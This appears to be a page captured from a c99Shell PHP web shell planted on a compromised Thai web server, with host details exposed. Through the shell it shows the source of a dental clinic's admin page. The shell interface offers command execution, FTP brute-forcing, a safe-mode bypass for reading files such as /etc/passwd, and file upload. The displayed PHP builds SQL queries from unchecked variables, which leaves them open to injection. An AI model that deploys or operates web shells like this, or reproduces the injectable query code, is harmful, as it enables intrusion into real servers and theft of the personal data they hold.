!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Dental/   drwxr-xr-x
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     menu_dentis.php (12.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user"))
 {
$Username $valid_user;
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
 
ConnectDB();
$sql "Select * From user_tb Where Username='$Username'";
$result mysql_query($sql) or die(" Error".mysql_error());
$rs1 mysql_fetch_array($result);
$Username $rs1[Username];
$sql1 "Select * From dentis_tb Where  Dentis_code='$Dentis_code'";
$result1 mysql_query($sql1) or die(" Error".mysql_error());
$rs mysql_fetch_array($result1);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="815" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="815" ><br />
        <fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Frmperson.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="DentisList.php">ข้อมูลทันตแพทย์</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />แสดงรายชื่อทันตแพทย์</font></legend>
          <label> </label>
        <div align="center">
          <form id="form1" name="form1" method="post" action="SearchList.php">
            <table width="80%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#eeeeee"  style="border:1px solid gray"size="12">
              <tr bgcolor="#6699CC">
                <td height="26" colspan="4"><div align="center" class="style1"><font size="4" face="Tahoma">แสดงรายทันตแพทย์</font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td width="161" height="20"  bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">เลขที่ใบประกอบโรคศิลป์</font></div></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1"></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1"><div align="left"><strong><font color="#000000" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma">
                    <?php
            
echo"$rs[Orderlist]";
      
?>
                </font></strong> <strong><font color="#000000" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma"> </font></strong></div></td>
                <td width="145" rowspan="11" align="center" nowrap="nowrap" bordercolor="#DDF8D1"><strong><font color="#000000" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma"> </font></strong> <strong><font color="#000000" size="2" face="Tahoma"> </font></strong> <font color="#000000" size="2" face="Tahoma">&nbsp; </font><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#003366" size="2" face="Tahoma">&nbsp; </font> <font color="#000000" size="2" face="Tahoma">
                  <?php
        
echo"<center>";
        echo
"<img src=\"$rs[Img1]\" width=\"200\" height=\"150\" >";
        echo
"</center>";
       
?>
                </font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">ชื่อทันตแพทย์</font></div></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1"></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1"><div align="left"><strong><font color="#003300" size="2" face="Tahoma">
                    <?=$rs["First_name"]?>
                    <?=$rs["Name"]?>
                    <?=$rs["Lastname"]?>
                </font><font color="#000000" size="2" face="Tahoma"> </font></strong></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">ชื่อทันตแพทย์ (eng)</font></div></td>
                <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td  bordercolor="#DDF8D1"><div align="left" class="style2"><font size="2" face="Tahoma"><? echo  $rs[Name_eng]?> <? echo  $rs[Lastname_eng]?></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">วัน-เดือน-ปี เกิด </font></div></td>
                <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td ><div align="left"><font color="#000000" size="2" face="Tahoma"> <strong><font color="#003366" size="2" face="Tahoma">
                    <?php 
       $sday 
$rs[DateBirth];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
 //    $month = TxtThaiMonth($month);
     
echo"$day"."/"."$month"."/"."$year";
    
?>
                </font></strong></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#eeeeee"><div align="center"><font size="2" face="Tahoma">ศาสนา</font></div></td>
                <td width="4"  bordercolor="#DDF8D1" bgcolor="#eeeeee"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td width="274" bgcolor="#eeeeee" ><div align="left"><font color="#000000" size="2" face="Tahoma"> <strong><font color="#003366" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"><span class="style2"><font size="2" face="Tahoma"><? echo  $rs[Religion]?></font></span></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong> </font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">ที่อยู่</font></div></td>
                <td width="4"  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td width="274"  bordercolor="#DDF8D1"><div align="left"><font color="#000000" size="2" face="Tahoma"> <? echo  $rs[Address]?></font><font color="#003366" size="2" face="Tahoma"> </font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" ><div align="center"><font size="2" face="Tahoma">จังหวัด</font></div></td>
                <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td  bordercolor="#DDF8D1"><div align="left"><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="d style3"><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><font size="2" face="Tahoma">
                    <?php
         $ProvinceId  
=  $rs["ProvinceId"];
         
$sql "Select * From province  Where  ProvinceId='$ProvinceId'";
          
$result2 mysql_query($sql) or die("Error".mysql_error());
          
$rss2 mysql_fetch_array($result2);
          echo 
" $rss2[ProvinceName] ";
         
?>
                </font></font></strong></font></strong></font></strong></font></strong></font></font></strong></font></strong></font></strong></font></strong></font></strong></font></font></strong></font></strong></font></strong></font></strong></font></span></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">โทรศัพท์</font></div></td>
                <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td  bordercolor="#DDF8D1"><div align="left"><font color="#000000" size="2" face="Tahoma"> <? echo $rs[Phone_1?> มือถือ <? echo $rs[Phone_2?></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">E-mail</font></div></td>
                <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td ><div align="left"><font color="#000000" size="2" face="Tahoma"> <? echo $rs[Email?></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">จบมาจากสถาบัน</font></div></td>
                <td ><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td ><div align="left"><font color="#000000" size="2" face="Tahoma"> <? echo nl2br($rs[Description_1]) ?></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">สาขาเฉพาะทาง</font></div></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1"></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1"><div align="left"><font color="#000000" size="2" face="Tahoma"><? echo nl2br($rs[Description_2]) ?> </font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">ปี พ.ศ ที่จบ </font></div></td>
                <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td  bordercolor="#DDF8D1"><div align="left"><font color="#000000" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma"><? echo nl2br($rs[Year_1]) ?></font><font color="#336600" size="2" face="Tahoma"> </font></div></td>
                <td width="145" align="center" nowrap="nowrap" bordercolor="#DDF8D1">&nbsp;</td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">วัน-เดือน-ปี ที่เริ่มทำงาน </font></div></td>
                <td  bordercolor="#DDF8D1"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td ><div align="left"><font color="#000000" size="2" face="Tahoma"> <strong><font color="#003366" size="2" face="Tahoma">
                    <?php 
       $sday 
$rs[Datetype];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
 //    $month = TxtThaiMonth($month);
     
echo"$day"."/"."$month"."/"."$year";
    
?>
                </font></strong> </font></div></td>
                <td width="145" align="center" nowrap="nowrap" bordercolor="#DDF8D1">&nbsp;</td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="29" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font size="2" face="Tahoma">บันทึก</font></div></td>
                <td ><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td ><div align="left"><font color="#000000" size="2" face="Tahoma"> <? echo nl2br($rs[Description]) ?></font></div></td>
                <td width="145" align="center" nowrap="nowrap" bordercolor="#DDF8D1">&nbsp;</td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="26" colspan="4">&nbsp;</td>
              </tr>
            </table>
          </form>
        </div>
        </fieldset>
      <br />
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b><br />
    </font></td>
  </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"2;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0079 ]--